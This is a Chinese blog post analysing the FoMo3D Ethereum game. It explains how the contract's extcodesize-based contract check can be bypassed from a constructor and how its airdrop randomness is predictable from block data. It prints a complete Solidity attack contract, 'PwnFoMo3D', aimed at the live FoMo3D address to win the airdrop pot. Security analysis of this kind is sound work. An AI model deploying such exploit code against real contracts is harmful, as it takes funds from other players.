摘要:安全隐患截至发稿,没有重大安全漏洞披露,即管理者后门或者攻击者直接可以转移合约内的漏洞,可暂时视为安全。也就是说只有空投奖池总共需要大于以太币。
七月初推出的一款资金盘游戏fomo3d,终于在十几天后成功引爆了中国的链圈和币圈。
游戏规则介绍在每一局游戏的开始,玩家都可以用以太币ETH来购买游戏道具key,相当于往资金盘里的投资。游戏的倒计时为24小时,每当有新人买入key时,游戏就会自动延长30s,但网页上的倒计时仍为24小时。
截止发文,Time Purchased已经增长到了30+年,大家可以自行计算有多少人买入了key。
最终这个资金盘的资金将会有7个流向:
滚入下一轮游戏
本轮游戏的奖金
P3D Token奖励
佣金奖励
社区基金
社区基金
空投
系统运行成本
最后一个买key的人将会拿走资金盘中的48%的以太币,作为奖励。看看首页的数字,就可以想见游戏的疯狂程度。
安全隐患截至发稿,没有重大安全漏洞披露,即管理者后门或者攻击者直接可以转移合约内ETH的漏洞,可暂时视为安全。不过还是有一个小漏洞值得大家关注,即modifier对普通账户(外部账户)和合约账户的判断。其初衷是好的,保证散户玩家的公平性,但是由于判断逻辑的偏差直接导致了该方法失效。
下图是从etherscan网站上合约地址中的代码截图:
此修改器用于限制调用方法者只能是普通账户(无法执行复杂的代码,也无法重入)。其中,通过判断地址内的extcodesize是否为0来判断该地址是否为普通账户。但是当合约正在执行构造函数并部署时,其extcodesize也为0,也就是说合约完全可以通过在constructor中调用方法而绕过该判断。
攻击的方向有了,下面就剩下从哪里下手了。
这时我们注意到空投逻辑:
/** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); }
大家可以看到,与其说是随机数,不如说是基于链状态的伪随机数。此时,我们可以不断地部署合约并在合约的constructor中计算随机数的值,一旦发现有利可图,就可以调用FOMO3d合约中的相应方法。
接下来,我们浏览完整的代码,找到airdrop()在哪里被使用,我们就可以发现:
只要玩家投入超过0.1-1ETH,就有机会可以赢得空投奖池的25%;
投入1-10ETH,有机会赢得空头奖池的50%;
投入10+ETH,则有机会赢得空投奖池的75%;
上面提到的有机会,就是指上面的伪随机数的计算符合要求。
到这里,最后一块拼图也补齐了。我们可以创造一个智能合约,通过计算随机数,就可以100%获得空投。我们给出了一个代码范例如下图(友情提醒:下面的代码未经测试,是仅表示思路的“伪代码”,并不保证功能上的成功):
pragma solidity ^0.4.24; interface FoMo3DlongInterface { function airDropTracker_() external returns (uint256); function airDropPot_() external returns (uint256); function withdraw() external; } contract PwnFoMo3D { constructor() public payable { // Link up the fomo3d contract and ensure this whole thing is worth it FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1); if (fomo3d.airDropPot_() < 0.4 ether) { revert(); } // Calculate whether this transaction would produce an airdrop. Take the // "random" number generator from the FoMo3D contract. uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp) + (block.difficulty) + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) + (block.gaslimit) + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) + (block.number) ))); uint256 tracker = fomo3d.airDropTracker_(); if((seed - ((seed / 1000) * 1000)) >= tracker) { revert(); } // Ok, seems we can win the airdrop, pwn the contract address(fomo3d).call.value(0.1 ether)(); fomo3d.withdraw(); selfdestruct(msg.sender); } }
再次提醒,上面的代码未经测试。因为每次调用airdrop都意味着我们必须损失0.1个以太币,仅当你确保你的空投奖励大于0.1以太币时,上述方法才值得尝试。也就是说只有空投奖池总共需要大于0.4以太币。已经有人尝试空投攻击2天了:
https://etherscan.io/txs?a=0x...
https://etherscan.io/tx/0x86c...
通过浏览其中一笔成功的交易我们可以看到,攻击者的代码更加复杂:他们尝试通过部署新合约来获得超额的空投奖励,但是当随机数计算不通过时,选择迭代创建合约直到有一个成功的,而不是选择使用revert()。
关于该漏洞的团队回应对此,团队本身的态度很随意, 表示一切尽在预料之内。并解释airdrops只是独立的非常小的奖金池,攻击也无伤大雅。(此条推特貌似已删除)
FOMO3d VS ethereum foundation自从fomo3d大火之后,该团队一直尝试在twitter上呼叫V神,以发现且公开EVM诸多重大漏洞为要挟呼叫V神正面回应:
,并插播各种战果炫耀图(参加人数、集资速度和量级、造成以太坊堵塞程度历史罕见等)。从一开始的殷切呼唤,到始终没有得到V神正面回复之后表演失望。
此间,以太坊的team leader - peter倒是有过回应,表示这并不是漏洞,这些现象/行为都是文档里提到过的,不要想着用这种大众敏感词吸引注意力。想蹭V神热度的话,请报点猛料好么。
https://www.reddit.com/r/ethe...
最后,不知道大家对这个“庞氏游戏”有什么自己的看法,可以尽情留言。
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/24224.html
不废话,直奔主题,使用JS实现点击button按钮切换图片,实现效果如图: 很容易实现吧,这个是用Dreamweaver写的,现在我们就用JS的一个入门案列。 其实很多时候想法与实际有差距。我们先做了一个简单的图片切换。 body部分: <body> <h1>JS实现图片的切换</h1> <divclass="containe...
小编写这篇文章的主要目的,主要是给大家做一个介绍,介绍关于Pytorch-LSTM是如何去输出参数,有哪一些步骤呢?下面小编就以代码和图片给大家做出一个介绍。 1.Pytorch中的LSTM中输入输出参数 nn.lstm是继承nn.RNNBase,初始化的定义如下: classRNNBase(Module): ... def__init__(self,mode,input_siz...
小编写这篇文章的主要目的,主要是用来给大家解释,Python Sklearn当中,一些实用的隐藏功能,大概有19条,这些实用的隐藏技能,会给我们的工作和生活带来很大的便利性,具体下文就给大家详细的介绍一下。 今天跟大家介绍19个Sklearn中超级实用的隐藏的功能,这些功能虽然不常见,但非常实用,它们可以直接优雅地替代手动执行的常见操作。接下来我们就一个一个介绍这些功能,希望对大家有所帮助!...
阅读 1963·2021-11-24 09:39
阅读 966·2021-11-11 16:55
阅读 1404·2021-10-09 09:43
阅读 1400·2021-10-08 10:17
阅读 1599·2021-08-25 09:41
阅读 401·2019-08-30 13:02
阅读 613·2019-08-29 15:14
阅读 973·2019-08-29 13:53